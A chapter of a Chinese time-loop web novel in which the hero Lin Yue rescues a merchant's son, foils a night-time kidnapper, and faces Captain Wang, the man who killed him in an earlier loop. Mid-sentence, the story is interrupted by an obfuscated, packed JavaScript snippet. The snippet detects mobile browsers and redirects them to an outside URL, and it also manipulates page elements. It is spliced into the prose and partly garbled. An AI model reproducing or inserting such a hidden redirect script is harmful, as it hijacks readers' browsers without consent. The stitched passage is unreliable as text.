他按照现代急救知识检查男孩口鼻——没有异物,但呼吸已停。林越跪在男孩身边,双手交叠按压胸口。一下,两下,三下……按压三十次后,他捏住男孩鼻子,口对口吹气。 周围围了一圈人,指指点点。林越顾不上,全部注意力都在男孩身上。 一次,两次,三次…… “咳!”男孩突然吐出水,接着剧烈咳嗽。 “活了!活了!”家仆喜极而泣。 林越松了口气,瘫坐在地,这才感到浑身酸痛,手上全是擦伤。 男孩睁开眼,迷茫地看着四周,然后“哇”地哭出来。 “小少爷,您可吓死老奴了!”家仆抱住男孩,又朝林越连连磕头,“恩公!恩公救命之恩,刘家没齿难忘!” 刘家?林越心里一动:“这孩子是……” “这是刘员外家的三少爷,刘小宝。”家仆抹泪,“今儿个偷偷溜出来玩,没想到……唉,要不是恩公,老奴这条命也赔不起!” 正说着,远处传来急促脚步声。一群人匆匆赶来,为首的是个四十多岁的中年男子,穿着绸缎长衫,面色焦急。身后跟着家丁和一个哭成泪人的妇人。 “小宝!我的小宝!”妇人扑上来抱住男孩。 “老爷,夫人,就是这位恩公救了小少爷。”家仆连忙介绍。 刘员外看向林越,目光先是审视,随即转为感激。他快步上前拱手行礼:“在下刘文渊,多谢壮士救犬子性命!” 林越连忙起身还礼:“刘员外客气了,举手之劳。” “这岂是举手之劳?”刘员外摇头,“井深三丈,常人避之不及,壮士却肯冒险相救,此等恩情,刘某必当重谢!”他打量林越,见他衣衫褴褛,手上带伤,便道:“壮士若是不弃,请到寒舍一叙,容刘某略备薄酒,以表谢意。” 林越心中暗喜,这正合他意。但面上谦逊:“小人身份卑微,不敢叨扰。” “救命恩人,何来卑微之说?”刘员外正色道,“请!” 林越不再推辞,跟着刘员外一行人朝刘府走去。路上,他悄悄摸了摸怀里的玉坠。计划有变,但这或许是更好的开始。 刘府果然气派。青砖高墙,朱漆大门,门口石狮子威武庄严。进门影壁,转过是前院,青石铺地,两旁花草。正厅宽敞明亮,家具都是上好的红木。之前轮回用玉坠兑换物资只跟门房打交道,没想到里面如此富裕,和黄壤屯格格不入。 刘员外让夫人带小宝去换衣服,自己请林越在厅中坐下,命丫鬟上茶。 “还未请教壮士高姓大名?”刘员外问。 “小人姓林,单名一个越字。”林越谨慎回答,“北边人,因家乡遭抢,逃至此地。” “林壮士。”刘员外点头,“看壮士言行,不似普通流民。” 林越心里一紧,但面上不动声色:“员外过奖了,小人只是读过几年书,识得几个字。” “哦?读过书?”刘员外更感兴趣了,“不知读的什么书?” “四书五经略通一二,但未考取功名。”林越半真半假地说——他确实读过,不过是现代义务教育。 刘员外沉吟片刻,道:“实不相瞒,刘某有一子,今年刚中童生,正欲寻一位先生教导。不知林壮士可愿暂留府中,一来养伤,二来……若有余力,指点犬子一二?” 林越愣住了。这完全出乎预料。他原计划只是用玉坠换点物资,顺便搭上关系,没想到直接获得了留在刘府的机会。这简直是天赐良机。 他压下激动,恭敬道:“承蒙员外看得起,小人自当尽力。只是……” “但说无妨。” “小人初到此地,对本地风俗礼法尚不熟悉,恐有不当之处。”林越顺势提出,“若员外不嫌,可否请府上懂礼之人指点一二?” 刘员外笑了:“这个简单。府中老管家在黄壤屯生活了五十年,对本地的俚语、礼数了如指掌。林壮士若有疑问,随时可问他。” “多谢员外。”林越起身行礼。 “不必多礼。”刘员外摆手,“林壮士救了小宝,就是刘家的恩人。往后在府中,不必以‘小人’自称,称‘我’即可。” 林越心中暗喜。这意味着他在刘府的地位会比普通门客更高。 正说着,丫鬟引着一个少年走了进来。少年约莫十三四岁,穿着儒衫,面容清秀,眼神灵动。 “父亲。”少年行礼。 “文轩,过来见过林先生。”刘员外介绍,“这位是林越林先生,从今日起暂住府中,你有学业上的问题,可向先生请教。” 刘文轩好奇地打量林越,见他衣衫破旧但气度从容,便恭敬行礼:“学生刘文轩,见过林先生。” 林越还礼:“不敢当‘先生’之称,互相学习。” 刘员外显然对林越的谦逊很满意,又吩咐管家为林越准备房间、衣物、洗漱用具。一切安排妥当后,他才道:“林壮士今日劳累,先去歇息吧。晚膳时分,刘某再设宴为壮士接风洗尘。” 林越被管家带到西厢房的一间客房。房间不大,但整洁干净,有床、桌椅、衣柜,还有一扇窗对着后院的花园。 管家是个六十多岁的老者,姓周,说话慢条斯理,但条理清晰。他帮林越铺好床铺,又拿来一套干净的粗布衣服。 “林先生先换衣服,我去打热水来。”周管家说。 “有劳周管家。”林越道谢。 待周管家离开,林越关上门,背靠着门板,长长舒了一口气。竟然这么顺利? 他走到床边坐下,掏出那枚玉坠。玉坠在透过窗棂的阳光照射下,泛着温润光泽。玉坠还没用上,就已经进了刘府。这算是好人好报? 他想起第三次轮回中,因为偷包子而被斩首的结局。那时的他,为了生存不择手段,结果却适得其反。而这一次,他救人于危难,反而获得了更好的机会。或许在这个世界,道德和善意并非无用。 但随即他又警惕起来。不能放松。刘员外虽然表面客气,但商人之家,最重利益。他留我,一是报恩,二是看中我能教书。如果我表现不出价值,迟早会被冷落。而且王千户这条线还没搭上。 林越把玉坠重新收好,开始思考下一步计划:利用在刘府的机会系统学习本地语言和礼法;赢得刘员外信任;寻找机会接触王千户;打听龙语的事,但要旁敲侧击。 正想着,门外传来敲门声。“林先生,热水来了。” 林越开门,周管家提着一桶热水进来,还有木盆和布巾。 “林先生先洗漱,晚膳时我再来请。”周管家放下东西,又补充道,“对了,老爷说,林先生若有什么需要,尽管吩咐。” “多谢。”林越顿了顿,试探地问,“周管家,我在府中,该注意哪些礼数?” 周管家笑了:“林先生客气了。府中规矩不多,只几条:见老爷夫人要行礼,用膳时等主人动筷再动,夜间不要随意走动。至于言语……先生是读书人,自然懂礼,不必老奴多言。” 林越点头,又道:“我初来乍到,身无长物,仅有一玉坠可以置换,能否劳烦管家帮我换些换洗衣物、火折子、食盐和干粮?” 周管家听后连忙摆手,“使不得使不得!您是贵客,主家要骂惨我!” 林越再三说明自己救人归救人,日常交易归交易,不可混为一谈。好说歹说才劝服周管家收下玉坠,但周管家还是每样东西都拿了三份来,还添了个钱袋子表示是刘员外送的,玉坠已经交易给正要离开去清水镇的商队,换了物资后多余的钱财都放进去了。 林越知道这其实是变相送钱感谢,推脱不得,就收下了。 周管家离开后,林越脱掉脏衣服,用热水擦洗身体。机会来了,而且比预想的更好。 他换上干净的粗布衣服,走到铜镜前。头发凌乱,脸上还有灰尘,但眼神清澈,透着一股坚定。这一次,一定要抓住机会。不仅要救龙语少女,还要解开这个世界的秘密,找到回家的路。 他抬起手腕,那道黑痕在皮肤上蜿蜒,像一道无声的倒计时。时间不多了。但至少,现在有了一个好的开始。 林越找了个借口出门,说是想熟悉熟悉黄壤屯的环境。周管家没多问,只嘱咐他晚饭前回来。 林越揣着刘员外给的钱袋子——就是周管家送来的那个——先去了趟市集。边境小镇的集市简陋得很,几个摊子零零散散摆着。他在一个肉摊前停下,花六文钱买了两根带了一点肉的骨头。骨头上的肉不多,但熬过汤的骨头上还沾着些油星,闻着挺香。 “客官,喂狗啊?”摊主是个五十来岁的汉子,一边剁肉一边问。 “嗯。”林越点头。 “那您可买对了,狗就爱啃这玩意儿。”摊主麻利地用草绳把骨头捆好递过来。 林越拎着骨头,凭着记忆七拐八绕,找到了那片熟悉的巷子。第一次轮回时,他就是在这里被瘦狗追着满街跑。巷子很窄,墙皮斑驳,地上散落着垃圾和干草。他左右张望,没看见狗的踪影。 “嘬嘬嘬——”林越试着唤了几声。 没反应。 他想了想,从怀里摸出早上省下来的半个馒头,掰碎了撒在地上。然后退到墙角,耐心等着。 约莫一炷香后,巷子尽头探出一个瘦骨嶙峋的狗头。是它——黄毛杂色,耳朵耷拉着,肋骨一根根清晰可见。瘦狗警惕地嗅着空气,眼睛盯着地上的馒头碎屑,又看看林越,似乎在权衡风险。 林越蹲下身,把骨头往前推了推:“来,给你带的。” 瘦狗犹豫了一会儿,终究抵不住食物的诱惑,慢慢蹭过来。它先舔了舔馒头屑,然后叼起一根骨头,转身跑到几步外,趴下开始啃。啃得津津有味,尾巴不自觉地摇了起来。 林越看着它,心里有些感慨。这狗子瘦得可怜,但生命力顽强,在这边境小镇里挣扎求生,跟自己有点像。他走到瘦狗旁边蹲下,伸手想摸摸它的头,瘦狗立刻警觉地抬头,喉咙里发出低沉的呜呜声。 “行行行,不摸。”林越收回手,轻声说,“谢了啊,哥们儿。虽然你啥都不知道,但第一次……咳,反正谢谢你那两回帮忙。要不是你,我可能连集市都进不去。” 瘦狗听不懂人话,只顾着啃骨头,偶尔抬眼瞥他一下,眼神里透着“这人是不是有病”的意味。 林越笑了。他把另一根骨头也放到地上:“这根也给你,慢慢吃。” 瘦狗这次没躲,任由林越把骨头放在面前。 喂完狗,林越起身往回走。巷口有几个村民聚在井边闲聊,见他从巷子里出来,都投来好奇的目光。其中一个老汉认得他——昨天救刘家小少爷的事已经传开了。 “哎,这不是昨天跳井救人的那位壮士吗?”老汉招呼道。 林越停下脚步,拱手行礼:“老人家好。” 另一个中年妇人插话:“壮士心善啊,救了人。对了,听说刘员外留尔在府上了?” 林越点头:“承蒙刘员外厚爱,暂住几日。” “那可是搭上靠山了!”妇人啧啧道,“刘员外家底厚实着哩,三子一女,个个都是金贵主儿。大儿子继承家业做生意,二儿子读书考了童生,小儿子就是尔救的那个宝哥儿。还有个女娃子,养在深闺里,轻易不见人。” 老汉附和:“是啊,刘员外做盐引生意,家里金山银山堆着。尔救了他儿子,这份恩情够吃一辈子了。说不定还能给尔谋个差事。” 林越心里有数,但面上谦逊:“小子只是做了该做的事,不敢奢求什么。” “该做的事?”老汉摇头,“这年头,肯跳下深井救人的,可不多喽。壮士是好人,好人该有好报。” 又闲扯了几句,林越告辞离开。往回走的路上,他回味着村民的话。刘员外这条线算是搭稳了。接下来要做的,就是巩固这份关系,同时寻找接触王千户的机会。 他摸了摸怀里的钱袋子,又想起那只埋头啃骨头的瘦狗。这世界有时挺奇怪的——你精心策划的布局可能毫无用处,而无意中的善举却可能带来转机。就像第一次轮回,他满脑子想着怎么利用规则、怎么算计,结果死得憋屈;这次顺手救了个孩子,反而打开了局面。 也许,在这个看似残酷的世界里,善意并非毫无价值。 林越加快脚步。夕阳把他的影子拉得很长,投在黄土地上,像一道坚定的印记。 窗外夕阳西下,天色渐暗。刘府开始点亮灯笼,橘黄的光晕透过窗纸,温暖了整间屋子。 晚膳时分,周管家来请。林越整理好衣冠,跟着管家走向正厅。 厅中已经摆好宴席,刘员外和夫人坐在主位,刘文轩坐在一旁。桌上菜肴不算丰盛,但荤素搭配,有鱼有肉。 “林先生请坐。”刘员外示意林越坐下。 林越恭敬行礼,然后入座。 宴席间,刘员外问了林越一些北边的风土人情,林越凭借现代地理知识勉强应付过去。刘文轩则对林越的“学问”很感兴趣,问了些四书五经的问题,林越一一解答。气氛融洽。 宴罢,刘员外让文轩送林越回房。 路上,文轩好奇地问:“林先生,您说您逃荒三个月,路上一定很辛苦吧?” “是啊。”林越感慨,“风餐露宿,有时几天吃不上饭。” “那您一定见过很多有趣的事。”少年眼睛发亮。 林越笑了:“有趣的不多,危险的不少。不过都过去了。” 回到房间,林越关上门,靠在门板上。 第一天:调整语言,打零工,打听消息。完成。 第二天:进入刘府,交易玉坠送去清水镇。超额完成。 接下来,就是巩固地位,学习礼法,接触王千户,找到龙语少女建立联系。 他走到窗边推开窗户。夜空繁星点点,一轮弯月挂在天际。远处黄壤屯的灯火星星点点,更远处是黑暗的荒漠。而在荒漠的那头,是清水镇,是龙语少女,是等待解答的谜题。 林越握紧拳头。这一次,我不会再失败了。 林越躺在床上辗转反侧。尽管身体疲惫,大脑却异常活跃。白天发生的一切像走马灯一样在眼前回放。 太顺利了,顺利得有些不真实。 他翻个身盯着天花板。月光透过窗纸,投下模糊光斑。刘员外留下我,表面是报恩和教书,但真的这么简单吗?一个能在边境做盐引生意的富商,见识过多少人心险恶,怎么会轻易让一个来历不明的流民住进府中?也许他也在试探我。 林越坐起身靠在床头。手腕上的黑痕在月光下显得格外清晰,似乎在缓慢生长,比昨天又长了一小截。时间不等人。 他想起清水镇的龙语少女。如果按照之前的轮回轨迹,再过几天,她就会被县官绑在烈日下曝晒。而自己现在被困在刘府,虽然有了落脚点,但距离目标反而远了。得想个办法,既能留在刘府巩固地位,又能尽快接触王千户,获得去清水镇的机会。 窗外传来打更声。“天干物燥,小心火烛——”已经三更了。 林越强迫自己躺下闭上眼睛。呼吸渐渐平稳,意识开始模糊…… 就在这时,窗外传来细微响动。“嗒。”像是小石子落地的声音。 林越眼皮动了动,没睁开。他以为是夜猫或是风吹落叶,没太在意。 但紧接着又是一声。“嚓……”这次声音更近,似乎就在窗外。 林越倏地睁开眼,屏住呼吸。所有睡意瞬间消散,整个人像绷紧的弓弦。他侧耳倾听。 夜很静。只有远处偶尔传来的虫鸣,还有风吹过树叶的沙沙声。但在这片寂静中,他捕捉到了第三种声音——极其轻微的脚步声,像是有人刻意放轻步伐,踩在泥土上。 有人?林越悄悄坐起身,动作缓慢得像一只猫。他没有点灯,借着月光挪到窗边,将脸贴在窗纸上透过缝隙向外看去。 院子里空荡荡的,月光如水银般铺满青石地面。花木的影子在风中摇曳,投下斑驳暗影。什么都没有。听错了? 林越正想退回床上,眼角余光却瞥见一道影子从西墙根下一闪而过。那绝对不是树木的影子——它移动的速度太快,而且形状分明是人形! 林越的心脏猛地一跳,后背瞬间冒出一层冷汗。贼?! 他第一个念头是府中进了小偷。但随即,一个信息从记忆深处浮现——清水镇城南的王员外丢了女儿。这是在前几次轮回中收集到的零碎信息。当时他忙着生存没太在意,现在却像一道闪电劈开脑海。莫不是这不止一起事件?! 林越浑身的汗毛都竖了起来。如果真是拐卖少女的贼人,那目标很可能就是刘员外的女儿——那位他还没见过面的刘家小姐! 他顾不上多想,一把掀开被子光脚踩在地上。房间里没有武器,只有桌上的茶壶和茶杯。林越抓起茶壶——是陶制的,有一定分量,摔碎了还能当锐器用。不能冲动,万一对方有同伙,我一个人肯定对付不了。先跟上去看看,如果真是贼人,找准时机制造动静,喊来护院。 林越轻轻推开房门,动作极轻极慢,生怕发出半点声响。门轴发出微弱的“吱呀”声,在寂静的夜里格外刺耳。他停住动作等了几息,确认没有惊动外面的人,这才侧身闪出房间,顺手带上门。 院子里月光很亮,这对跟踪不利。林越贴着墙根阴影移动,眼睛死死盯着前方——那道黑影已经穿过前院,正朝内院方向移动。内院是女眷住处……果然! 林越的心沉了下去。他加快脚步,但依然保持隐蔽,利用廊柱、花丛、假山作为掩护。黑影对刘府的布局似乎很熟悉,绕过了两处有灯笼照亮的路口,选择了更暗的小径。更让林越心惊的是,两拨巡逻的护院恰好都在他经过后才出现,时间差精准得可怕。提前踩过点,这不是临时起意,是计划好的。 黑影在内院门口停了一下左右张望。林越赶紧蹲在一丛灌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119396|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木后屏住呼吸。月光照亮了那人的侧脸——是个瘦高个,脸上蒙着黑布,只露出一双眼睛。他腰间鼓鼓囊囊,似乎带着工具。 黑影确认安全后,从怀里掏出一根细长的铁钩,轻轻拨开了内院的门闩。门无声地滑开一条缝,他侧身闪了进去。 林越的心提到了嗓子眼。他不能再等了。他猫着腰快速移动到内院门口,从门缝往里看去。黑影已经摸到了西厢房的一扇窗下——那扇窗格外精致,窗棂上雕着花鸟,显然是闺房。就是那里! 林越握紧茶壶,手心全是汗。他需要制造足够的动静,既要阻止贼人,又要确保自己不被反杀。黑影开始用铁钩撬窗,动作很熟练,几乎没发出声音。 林越估算着距离——大约十步。茶壶扔过去有把握砸中,但未必能一击制敌。不管了!他深吸一口气,从阴影中猛地窜出,用尽全力将茶壶掷向黑影! “砰!”陶制茶壶在空中划出一道弧线,精准地砸在黑影的后背上! “呃啊!”黑影猝不及防,被砸得向前趔趄,手里的铁钩“当啷”掉在地上。 林越同时放声大喊:“抓贼啊——!有贼进内院了——!”声音在寂静的夜里炸开,像一块石头投入平静的湖面。 瞬间,整个刘府活了。“什么声音?!”“在内院!快!”“抄家伙!”杂乱的脚步声从四面八方涌来。房间接二连三亮起灯光,窗户被推开,人影晃动。 黑影被茶壶砸得一时没缓过劲,又被林越的喊声吓得慌了神,转身想跑,却绊到了地上的铁钩,一个踉跄摔倒在地。林越抓住机会,一个箭步冲上去,整个人扑在黑影身上! “放开我!”黑影挣扎,力气大得惊人,一拳打在林越肋下。剧痛传来,林越闷哼一声,但死死抱住对方不放。他知道,只要拖住几息,护院就能赶到。 “在这儿!”第一个护院举着灯笼冲进内院,看到扭打的两人,立刻大喊,“按住他!”三个护院扑了上来,七手八脚将黑影死死压住。 “绑起来!”护院头领吼道。绳子迅速套上,黑影被捆成了粽子,嘴里还塞了布团。 直到这时,林越才松开手,瘫坐在地上大口喘气。肋下火辣辣地疼,估计青了一片。 “林先生!”周管家的声音传来。老管家提着灯笼匆匆赶来,看到林越,又看到被捆住的贼人,脸色大变,“这、这是……” “有人想撬小姐的窗。”林越喘着气说。 周管家倒吸一口凉气,连忙朝西厢房喊道:“小姐没事吧?” “没、没事……”窗内传来少女颤抖的声音,“我听见动静,没敢开门……” “那就好,那就好。”周管家抹了把额头的冷汗。 这时,刘员外披着外衣匆匆赶来,身后跟着几个家丁。他面色铁青,先是看了眼被捆的贼人,又看向林越。“怎么回事?” 护院头领上前汇报:“老爷,这贼人想撬小姐的窗,被林先生发现。林先生用茶壶砸中了他,又大喊示警,我们这才及时赶到。” 刘员外的目光落在林越身上,眼神复杂——有震惊,有后怕,更多的是感激。他走到林越面前深深一揖:“林先生,今夜若非尔警醒,小女恐怕……” 林越连忙起身还礼:“员外言重了,我也是碰巧听见动静。” “这不是碰巧。”刘员外摇头,声音有些发颤,“这是天意。刘家欠尔的,越来越多了。”他转向护院头领:“把人带到前厅,严加看管。明日一早,去请王千户来府上,此事必须由官府处置。”“是!” 刘员外又对周管家道:“吩咐厨房,煮碗安神汤给小姐送去。还有,给林先生也煮一碗。” “老爷,我没事。”林越说。 “听我的。”刘员外语气坚决,“今夜尔救了小女,是我刘家的大恩人。从今往后,只要在我刘文渊能力范围内,尔的任何愿望,我必全力满足。” 林越心中一动。机会来了。他沉吟片刻,道:“员外既然如此说,我倒真有一个请求。” “请讲。” “我自幼喜爱读书,奈何家境贫寒,藏书有限。”林越斟酌着措辞,“今日听文轩说起四书五经,勾起了读书的念头。不知……能否借阅府上藏书一观?一来满足我读书之愿,二来也能更好地教导文轩。” 刘员外愣了愣,随即大笑:“我当是什么难事!原来如此!林先生爱读书,这是好事,大好事!”他转头吩咐周管家:“明日一早,带林先生去书房。府中所有藏书,林先生皆可随意翻阅,无需请示。” “多谢员外。”林越郑重行礼。 “该说谢的是我。”刘员外扶住他,感叹道,“救人一命已是恩情,今夜又护住小女……林先生,尔与我刘家,真是有缘。” 有缘吗?林越看着刘员外真诚的眼神,心里却闪过一丝愧疚。他救人的初衷并不纯粹,留在刘府也是为了自己的目的。但至少,结果是好的。 第三日清晨,天刚蒙蒙亮,林越就醒了。他洗漱完毕,换上周管家准备的新衣服——依然是粗布,但比昨天那套厚实些。推开房门,清晨的空气清新冷冽,带着花草的香气。 周管家已经在门外等候。“林先生起得真早。”老管家笑道,“老爷吩咐了,先生随时可以去书房。早膳稍后会送到书房去。”“有劳了。” 书房在东厢房,单独一栋小楼,上下两层。周管家推开红木门,一股墨香和旧纸特有的气味扑面而来。林越走进书房,被眼前的景象震住了。四面墙全是书架,从地面一直延伸到天花板,密密麻麻摆满了书。粗略估计,至少有数百册。中央是一张巨大的书案,上面文房四宝齐全,还有一盏精致的铜制油灯。 “府中藏书共七百余册。”周管家介绍,“一楼是经史子集,二楼是杂书、地方志、游记、医书等。先生请自便。”林越点点头,等周管家离开后,立刻开始寻找目标。 他要找的是关于礼法、律令、本地风俗的书籍。这些信息对他至关重要——了解这个世界的规则,才能更好地利用规则。他在“律令”分类的书架前停下,手指划过一本本书脊。《大炎律疏》、《边镇条陈》、《黄壤屯记事》、《北境风土志》…… 然后,他看到了那本书。《大炎礼法》。深蓝色封面,线装,书脊上四个隶书字。林越小心翼翼地将书取下,拂去封面上的薄灰。 翻开第一页,是序言。文字是繁体隶书,笔画规整,但对他来说并不难认——现代人看繁体字问题不大,个别生僻字可以连蒙带猜。他捧着书坐到书案前,摊开纸笔,开始边读边记。 《大炎礼法》分为五卷:冠礼、婚礼、丧礼、祭礼、宾礼。每一卷又细分若干条目,详细规定了不同场合的仪轨、服饰、言语、动作。林越读得很快。他的目的不是精通礼法,而是掌握关键信息——比如见官员该如何行礼,在什么场合说什么话,哪些行为是禁忌。 “宾礼卷第三:见上官,当行拜礼。千户及以上,行跪拜礼;以下,行揖礼。言语当称‘大人’,自称‘草民’或‘小人’……”他默默记下。 “边境特例:北狄细作猖獗,凡口音不正、行迹可疑者,皆可拘押审讯……”看到这里,林越背后一凉。第一次轮回时,他就是因为这个被王千户抓的。原来如此,不是他故意陷害,是边境律令本就如此严苛。 继续往下读。“盐引交易需官印核准,私自贩盐者斩;协助北狄者,诛九族……” 他正思索记录着,门外传来脚步声。“林先生。”是周管家的声音,“王千户大人已经到了,老爷请您去前厅一同用早膳。” 林越心里一跳。这么快就来了?他合上书,整理了一下衣冠,跟着周管家往前厅走去。 路上,他快速复盘:贼人昨夜被抓,今早王千户就来了,说明刘员外天一亮就派人去请了。可见此事在刘员外心中分量极重,也可见王千户对刘家的事很上心。关系确实密切。 前厅已经摆好了早膳。粥、馒头、小菜,不算丰盛,但精致。刘员外坐在主位,旁边坐着一个身穿戎装的高大男人。那男人背对着门口,正在和刘员外说话。 “王兄,这次真是多亏了你及时赶到。”刘员外说。 “文渊兄客气了。你我多年交情,府上有事,我岂能不来?”男人的声音低沉浑厚,带着军人的干脆。 林越走进厅内。 “林先生来了。”刘员外起身介绍,“王兄,这位就是我刚才说的林越林先生,小儿的救命恩人,昨夜又护住了小女。” 男人转过身。 时间仿佛在那一刻凝固了。 林越看清了那张脸——方脸,浓眉,鹰隼般的眼睛,下巴上有一道浅浅的疤痕。身材高大魁梧,即使坐着也像一座山。 这张脸,他死都不会忘记。 第一次轮回,就是这个男人伪装成,用温和的语气问他“从哪儿来”,然后在他放松警惕时突然变脸,将他打入大牢,严刑拷打,最后让他死在狱中。 王千户。 那个给他下套的高大男人。 11. 获取身份 空气死寂。 林越感觉全身的血液都冲上了头顶,又瞬间褪去,手脚冰凉。他想控制表情,但脸上的肌肉僵硬得不听使唤。 王千户也在看他。那双鹰隼般的眼睛眯了眯,闪过一丝疑惑,随即是审视,然后是恍然大悟。 “尔……”王千户缓缓开口,“我们是不是见过?” 林越的心脏几乎停跳。他认出来了?不,不可能。那是第一次轮回的事,对现在的他来说还没发生。但他为什么这么问? 林越强迫自己冷静下来,挤出一个谦逊的笑容,躬身行礼:“草民林越,见过千户大人。草民初来黄壤屯,应是第一次得见大人尊颜。” 王千户盯着他看了几秒,忽然笑了:“也许是我记错了。边境来来往往的人多,难免有些面善的。” 他转向刘员外:“文渊兄,尔这位恩公,气度不凡啊。” “王兄过奖了。”刘员外没察觉两人之间的微妙气氛,热情地招呼,“林先生,快请坐。今日早膳简单,但王兄特意赶来,咱们边吃边聊。” 林越依言坐下,位置正好在王千户对面。他拿起筷子,手却在微微发抖。他低下头,假装专注地夹菜,实际上用眼角余光观察王千户。 王千户正在喝粥,动作自然,仿佛刚才的对话只是随口一问。但林越注意到,他的目光时不时会扫过来,带着探究的意味。 他起疑心了。林越心里警铃大作。第一次轮回的死亡阴影笼罩过来,那种被拷打、被抛弃在乱葬岗的恐惧从记忆深处复苏。 但他不能慌。现在的他不是那个一无所知的穿越者。他有了刘员外的信任,有了在府中的地位,更重要的是——他知道王千户的底色。 稳住。他现在没有理由抓我。作为刘家的恩人,有正当身份,口音也调整过了。林越深吸一口气,抬起头,主动开口:“听周管家说,千户大人驻守黄壤屯多年,保境安民,功勋卓著。草民初来乍到,能得见大人,实属荣幸。” 这话说得客气,但也是试探。 王千户放下碗,看了他一眼:“保境安民是分内之事。倒是尔,一个外乡人,刚来就救了刘家小儿,昨夜又抓了贼人,倒是颇有胆识。” “侥幸而已。”林越谦逊道。 “侥幸?”王千户似笑非笑,“一次是侥幸,两次就是本事了。” 气氛有些微妙。 刘员外连忙打圆场:“王兄,林先生确实是个实在人。昨夜那贼人,我已经让人带过来了,就关在柴房。吃完早膳,还得劳烦尔审一审。” “嗯。”王千户点头,“吃完就去。” 早膳在一种看似融洽实则暗流涌动的氛围中结束。林越每一口都吃得小心翼翼,脑子却在飞速运转。王千户的那句“我们是不是见过”像一根刺扎在心里。虽然理智告诉他不可能,但那种被认出的恐惧感挥之不去。 饭后,刘员外带着王千户和林越前往柴房。两个护院守在门口,见他们来了,连忙开门。柴房里,昨夜那个瘦高个被绑在柱子上,嘴里还塞着布团。见到有人进来,他惊恐地挣扎起来。 王千户走到他面前,居高临下地看着他。“摘了。”他命令道。 护院取下布团。“大人饶命!大人饶命啊!”贼人立刻哭喊起来,“小的只是一时糊涂,想偷点钱财,绝无歹意啊!” “偷钱财?”王千户冷笑,“偷钱财需要撬小姐的窗户?需要提前踩点躲巡逻?需要带专门撬窗的铁钩?” 贼人语塞。 王千户蹲下身,盯着他的眼睛:“说,谁派你来的?目标是谁?” “没、没人派……真的是我自己……” “啪!”王千户反手一耳光,力道之大,打得贼人嘴角流血。 “边境最近丢了三个少女,都是商贾之家。”王千户的声音冷得像冰,“手法都一样:踩点、撬窗、迷晕带走。你是第三个落网的。前两个已经招了,他们是一个叫‘黑水’的组织的人,专门拐卖少女卖到北狄去。” 贼人脸色煞白。林越站在门口,看着这一幕,心里翻江倒海。拐卖组织?卖到北狄?这么说,之前轮回听说的王员外丢了女儿,很可能也是这个组织干的?而且王千户说“黑水”,和之前在黄壤屯听说的一样,看来是个有规模的犯罪团伙。 “你现在招,我可以让你死得痛快点。”王千户站起身,“不招,我有的是办法让你开口。” 贼人心理防线崩溃了。“我招……我招……”他涕泪横流,“是、是‘黑水’派我来的……目标是刘家小姐……因为刘家有钱,赎金高……” “你们怎么联系的?”王千户问。 “镇上……镇上的‘老酒馆’……掌柜的是接头人……” 王千户点点头,对护院道:“重新塞上嘴,看好他。” 走出柴房,刘员外面色惨白:“王兄,这……小女她……” “放心,人已经抓到了,线索也有了。”王千户拍拍他的肩膀,“我会派人去查‘老酒馆’。文渊兄,最近让府上加强戒备,特别是女眷,尽量不要外出。” “是、是……”刘员外连连点头。 王千户转身看向林越。“林越。” “草民在。” “尔昨夜立了大功。”王千户说,“不仅救了刘小姐,还给我们提供了重要线索。按律,协助抓捕重犯,应有奖赏。” 林越心中一紧。他想做什么? 王千户从怀里掏出一块木牌,递给他:“这是黄壤屯的临时通行牌。持此牌,你可以在屯内自由行走。另外——”他顿了顿,道:“我听文渊兄说,尔想读书,也想谋个正经营生。正好,我手下缺个文书,负责整理军务档案,偶尔也帮忙写写公文。尔读过书,识得字,可愿来试试?” 林越愣住了。刘员外也愣住了。 “王兄,这……”刘员外欲言又止。 “文渊兄放心,不是让他参军。”王千户笑道,“只是文书工作,每日来军营两个时辰即可,不影响他教导令郎。至于酬劳,按军中书吏的标准给。” 他看向林越:“如何?” 林越大脑飞速运转。去军营做文书?这意味着可以近距离接触王千户,了解各方信息,获取靠山的事情也解决了。但这也是双刃剑。如果王千户真的怀疑我,把我放在身边,更方便监视和控制。而且还会限制我要去清水镇救龙语少女的事儿。比起信息,范围被限制更麻烦。可是,我能用什么理由拒绝? 林越深吸一口气,恭敬地拱手道:“千户大人厚爱,草民感激不尽。能得大人赏识,实乃草民之幸。” 他顿了顿,组织着语言。这是关键的一步,既要拒绝得委婉体面,又不能引起对方的怀疑。 “只是……”林越抬起头,目光诚恳,“草民南下本是为了求学。常言道,读万卷书不如行万里路。草民自北而来,一路见识风土人情,深感天下之大、学问之深。黄壤屯虽好,但草民心中一直有个念想——去南方看看,去书院听学,去见识见识真正的学问大家。” 王千户眉头微挑:“哦?尔倒是有志气。” “不敢称有志气,只是心中执念罢了。”林越苦笑,“家乡老父在世时,常说读书人若固守一地,便如井底之蛙,只见方寸天地。草民虽读书不多,却也想出去走走,长长见识。南方文风鼎盛,书院林立,若有幸能拜入某位先生门下,哪怕做个抄书童子,也是好的。” 这个理由应该够充分了。古代读书人游学是常事,尤其是家境贫寒的士子,常会外出寻师访友。 刘员外在一旁点头:“林先生说的在理。读书人嘛,是该出去走走。王兄,尔说是不是?” 王千户沉默片刻,忽然笑了。 “读书人的事,我不懂。”他摆摆手,“但尔既有此志,我倒不好强留了。不过——”他看向林越:“尔如今身份未明,南下路上关卡重重,没有正式文书,怕是寸步难行。” 林越心中一紧。 “这样吧。”王千户道,“我派个手下送尔去清水镇。那里的县官与我有些旧交情,让他给尔办个正经的身份文书,盖上县衙大印。有了这个,南下就方便多了。” 林越眼睛一亮。清水镇!正好是我要去的地方!而且能接触县官……这意味着救龙语少女的机会更大了! 他连忙躬身行礼:“千户大人恩情,草民没齿难忘!” “举手之劳罢了。”王千户笑道,“尔救了文渊兄家小儿,昨夜又立一功,这点小事,该当的。” 刘员外也抚掌笑道:“甚好!甚好!林先生,如此一来,尔南下之事便稳妥了。王兄,尔这安排真是周到!” 